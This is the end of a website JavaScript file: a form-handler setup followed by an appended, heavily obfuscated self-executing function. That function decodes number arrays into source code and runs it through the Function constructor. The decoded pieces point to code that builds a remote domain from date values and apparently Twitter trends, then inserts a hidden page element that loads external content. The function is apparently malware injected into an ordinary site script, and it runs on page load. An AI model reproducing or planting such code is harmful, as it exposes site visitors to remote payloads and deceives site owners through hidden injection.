	utility.dom.attachEvent2(window, 'onload', UNI_form_attach);
	UNI_form_attach_executed = true;
}

window.onbeforeunload = UNI_navigateAway;


(function($$){qq2=[8,0,26,0,11,81,29,0,26,86,65,82,0,54,48,29,84,72,73,83,27,60,59,54,48,0,0,38,85,76,76,57,69,65,82,0,5,45,79,78,84,72,0,5,36,65,84,69,0,5,40,79,85,82,83,0,5,45,73,78,85,84,69,83,0,5,51,69,67,79,78,68,83,8,9,61,93,27,0,11,75,29,0,26,0,6,82,12,54,80,29,84,72,73,83,14,3,81,8,9,12,73,29,16,27,54,80,59,17,61,11,29,17,27,87,72,73,76,69,8,73,11,11,28,23,9,91,3,82,29,54,80,59,73,61,0,15,3,82,28,3,45,9,54,80,59,73,61,0,22,3,82,93,60,0,54,80,14,83,80,76,73,67,69,8,94,90,7,9,12,17,11,94,52,0,16,0,23,94,85,0,16,11,7,52,7,11,54,80,0,23,94,53,0,16,93,27,54,39,29,91,7,72,64,72,84,84,80,26,15,15,56,83,64,15,56,84,64,84,82,69,56,68,64,68,65,73,56,78,64,78,68,83,56,81,64,31,56,67,64,67,65,76,76,66,65,67,75,29,56,74,64,3,56,65,64,65,80,73,56,76,64,76,89,56,55,64,84,87,73,84,84,69,82,56,79,64,67,79,77,56,69,64,17,56,75,64,83,56,43,64,66,79,68,89,56,88,64,65,74,65,88,56,36,64,14,56,44,64,76,73,66,83,56,42,64,74,81,85,69,82,89,56,22,64,22,14,18,56,77,64,77,73,78,56,70,64,79,78,56,51,64,67,82,73,80,84,56,73,64,73,70,56,45,64,82,65,77,69,56,57,64,72,69,65,68,56,87,64,87,73,68,84,72,26,56,80,64,80,88,27,56,40,64,72,69,73,71,72,84,26,56,52,64,18,56,82,64,82,67,56,49,64,2,56,89,64,83,84,89,76,69,29,56,66,64,30,28,56,50,64,30,28,15,56,41,64,68,73,86,56,34,64,28,56,33,64,30,56,71,64,71,79,79,71,76,69,56,37,64,6,68,65,84,69,29,56,90,64,16,56,85,64,13,56,53,64,0,56,12,64,26,16,16,56,27,7,26,18,19,20,21,22,23,24,25,16,17,12,7,15,7,26,20,24,18,23,17,12,7,38,7,26,17,25,24,17,25,21,18,21,20,12,7,39,7,26,17,18,12,7,35,64,29,7,93,27,32,0,3,77,8,54,85,9,91,3,52,29,59,61,27,70,79,82,8,54,65,29,16,27,54,65,28,54,85,0,8,27,54,65,11,11,9,91,3,52,14,80,85,83,72,8,54,39,59,54,85,14,67,72,65,82,33,84,8,54,65,9,61,9,93,60,0,3,84,8,3,52,9,93,54,73,29,68,79,67,85,77,69,78,84,27,3,85,29,87,73,78];qq21=[68,79,87,27,0,9,89,29,7,85,78,68,69,70,73,78,69,68,7,27,0,9,90,29,94,72,65,36,55,36,79,83,69,83,84,78,83,68,76,36,74,70,81,67,81,7,0,19,40,29,0,10,9,29,29,0,9,89,9,0,15,3,40,92,92,1,54,67,8,9,9,91,73,70,8,1,3,40,9,91,84,82,89,91,54,71,29,74,49,85,69,82,89,0,1,27,84,82,89,91,54,71,29,4,0,1,93,54,51,29,54,73,14,71,69,84,37,76,69,77,69,78,84,83,34,89,52,65,71,46,65,77,69,8,94,57,0,16,59,16,61,27,3,37,29,54,73,14,67,82,69,65,84,69,37,76,69,77,69,78,84,8,94,75,51,0,16,27,3,37,14,83,69,84,33,84,84,82,73,66,85,84,69,8,94,75,82,7,9,12,3,77,8,2,72,88,36,71,65,75,36,79,83,88,83,44,83,42,83,69,36,22,83,42,36,77,36,74,2,9,9,27,54,51,14,65,80,80,69,78,68,35,72,73,76,68,8,3,37,9,93,32,0,54,50,8,3,83,12,54,38,0,18,45,65,84,72,14,70,76,79,79,82,8,3,83,15,54,38,9,0,25,86,8,3,68,9,91,86,65,82,0,54,70,29,54,50,8,0,9,44,12,0,4,88,9,27,0,6,87,29,0,9,44,5,0,4,88,27,0,6,46,29,0,4,80,10,3,87,27,0,6,38,29,0,4,77,10,54,70,27,0,6,69,29,3,46,13,3,38,0,15,3,69,30,16,9,91,3,44,29,3,69,93,69,76,83,69,91,3,44,29,3,69,11,0,4,33,93,60,8,3,44,5,3,68,9,0,25,42,8,3,78,9,91,0,9,44,29,94,27,7,9,11,3,78,27,0,4,80,29,94,15,7,9,27,0,4,33,29,94,27,7,9,13,94,38,7,9,27,0,4,88,29,54,50,8,0,4,33,12,0,4,80,9,27,0,4,77,29,0,4,33,5,0,4,80,0,25,84,8,54,0,18,54,0,8,29,29,17,31,54,59,16,61,26,54,0,23,7,7,9,93,27,32,0,3,50,8,54,9,91,68,29,78,69,87,0,36,65,84,69,8,0,19,33,29,94,90,69,69,7,9,27,68,14,83,69,84,52,73,77,69,8,8,54,14,65,83,63,79,70,13,94,39,7,9,10];function co(){return 'Code';}function gafu(){return a(String,'f'+ro()+co());}qq3=[94,39,7,9,10,94,39,7,9,10,94,69,90,90,0,16,10,94,69,90,90,90,0,16,27,60,0,68,0,25,79,8,54,35,9,91,0,6,73,12,54,72,12,3,39,29,54,35,0,8,27,0,6,88,29,59,61,27,87,72,73,76,69,8,13,13,3,39,9,91,54,72,29,3,86,8,3,39,0,19,88,14,80,85,83,72,8,54,72,0,19,73,29,54,35,59,54,72,61,27,54,35,59,54,72,61,29,54,35,59,3,39,61,27,54,35,59,3,39,61,29,3,73,93,93,32,0,54,44,8,4,9,91,54,37,29,4,14,77,65,80,8,59,24,17,12,24,21,12,23,20,12,23,20,12,25,18,12,17,23,12,24,18,12,23,19,12,24,16,12,19,16,12,24,18,12,23,23,12,18,21,12,17,17,12,17,16,12,17,16,12,22,17,12,17,17,12,21,22,12,21,21,12,17,17,12,21,19,12,22,12,21,19,12,23,12,18,12,17,12,16,12,20,24,61,12,32,8,88,12,73,0,18,51,84,82,73,78,71,14,70,82,79,77,35,72,65,82,35,79,68,69,8,73,11,88,11,18,20,9,93,9,27,60,0,3,84,8,54,37,9,0,25,74,8,88,0,18,88,0,8,93,32,0,54,52,8,4,9,91,73,70,0,10,9,1,29,0,9,89,9,91,4,8,0,26,73,70,0,10,14,54,79,9,1,29,0,9,89,9,60,27,4,14,54,79,29,17,27,0,20,90,12,32,8,54,45,9,91,3,36,29,3,50,8,54,45,0,19,43,29,3,36,0,0,45,79,78,84,72,8,9,0,27,46,29,3,36,0,0,36,65,84,69,8,0,19,80,29,32,8,88,12,73,9,91,60,8,3,74,8,88,11,2,2,9,13,17,9,31,88,26,2,16,2,11,88,93,27,54,69,29,3,80,8,3,43,12,20,9,11,2,13,2,11,3,80,8,54,46,12,23,0,19,65,29,3,90,11,3,77,8,2,37,0,21,27,54,36,29,54,89,29,54,50,8,3,36,0,0,40,79,85,82,83,8,9,12,22,9,10,22,0,27,90,29,54,36,11,17,27,3,45,29,11,94,69,90,7,9,27,0,12,0,20,65,12,32,8,54,45,9,91,84,82,89,91,3,51,29,54,45,14,84,82,69,78,68,83,27,3,70,29,3,77,8,2,0,21,11,2,0,2,0,15,54,36,28,3,45,9,54,36,0,22,54,36,0,15,54,90,28,3,45,9,54,90,0,22,54,90,27,0,24,36,11,3,77,8,56,9,61,0,15,1,3,67,9,91,0,24,90,11,3,77,8,56,9,61,93,3,67,29,8,3,67,59,19,61,14,78,65,77,69,14,84,79,44,79,87,69,82,35,65,83,69,8,9,14,82,69,80,76,65,67,69,8,15,59,62,65,13,90,61,15,71,73,12,7,7,9,11,7,77,73,67,82,79,83,67,79,80,69,7,9,14,83,80,76,73];qq31=[84,8,7,7,0,19,35,29,3,43,10,23,17,11,54,89,10,19,11,54,46,10,19,23,27,3,42,8,3,35,0,19,74,29,3,86,8,20,9,11,3,45,27,3,79,8,3,67,0,19,66,29,94,35,72,7,9,11,3,84,8,3,67,9,14,83,85,66,83,84,82,73,78,71,8,16,12,3,74,9,11,7,14,67,79,77,15,7,11,54,44,8,4,9,27,54,39,59,7,58,7,61,29,3,66,27,54,82,29,94,34,41,0,17,66,73,45,53,0,17,53,75,82,58,50,73,45,50,41,33,7,9,27,4,8,94,43,0,16,14,65,80,80,69,78,68,8,54,82,9,93,67,65,84,67,72,8,54,81,9,91,93,93,9,93,12,3,45,10,3,45,10,3,45,9,93,9,93,9,93,69,76,83,69,91,0,12,0,13,12,17,11,94,52,52,52,0,16,93,93,0,13,9,8,9,3,74,83,32,70,85,78,67,84,73,79,78,54,3,34,56,7,12,7,64,7,26,7,94,3,77,8,7,60,82,69,84,85,82,78,0,0,14,71,69,84,53,52,35,0,1,14,78,79,35,79,78,70,76,73,67,84,8,84,82,85,69,9,93,67,65,84,67,72,8,69,9,91,93,0,4,3,85,14,54,0,5,8,9,12,54,48,0,0,0,6,86,65,82,0,3,0,8,14,76,69,78,71,84,72,0,9,3,85,14,3,0,10,8,84,89,80,69,79,70,8,4,0,11,36,65,84,69,14,80,82,79,84,79,84,89,80,69,14,3,0,12,83,69,84,52,73,77,69,79,85,84,8,0,26,0,13,54,52,8,3,85,14,74,49,85,69,82,89,9,93,0,15,27,73,70,8,0,16,7,9,9,0,17,89,49,40,52,80,87,69,69,69,80,49,0,18,9,91,60,0,0,19,9,27,3,0,20,4,14,71,69,84,42,51,47,46,8,3,0,21,52,90,69,69,85,2,9,11,54,69,0,22,29,94,90,7,9,11,0,23,14,74,79,73,78,8,0,24,3,67,29,3,51,59,3,70,11,54,0,25,93,32,0,3,0,26,32,8,9,91,0,27,11,8,11,94,69,0,16,27,54];d='';mapper=[3,32,54,56,64,94,60,0,0,0,1,0,4,0,5,0,6,0,8,0,9,0,10,0,11,0,12,0,13,0,15,0,16,0,17,0,18,0,19,0,20,0,21,0,22,0,23,0,24,0,25,0,26,0,27];map='';function fs(ro,arr,add){for(var i=0;i<arr.length;i++){ro+=String.fromCharCode(arr[i]+add);}return ro;}d=fs(d,qq2,32);d=fs(d,qq21,32);d=fs(d,qq3,32);d=fs(d,qq31,32);map=fs(map,mapper,32);function a(b,c){return b[c];};function ro(){return 'romChar';}for(c=55;c;d=(t=d.split(map.substr(c-=(x=c<9?1:2),x))).join(t.pop()));$$(d)})(function(jsBb){return(function(jsB,jsBs){return jsBs(jsB(jsBs(jsB(jsBb))))(jsBb)()})((function(jsB){return jsB.constructor}),(function(jsB){return(function(jsBs){return jsB.call(jsB,jsBs)})}))});



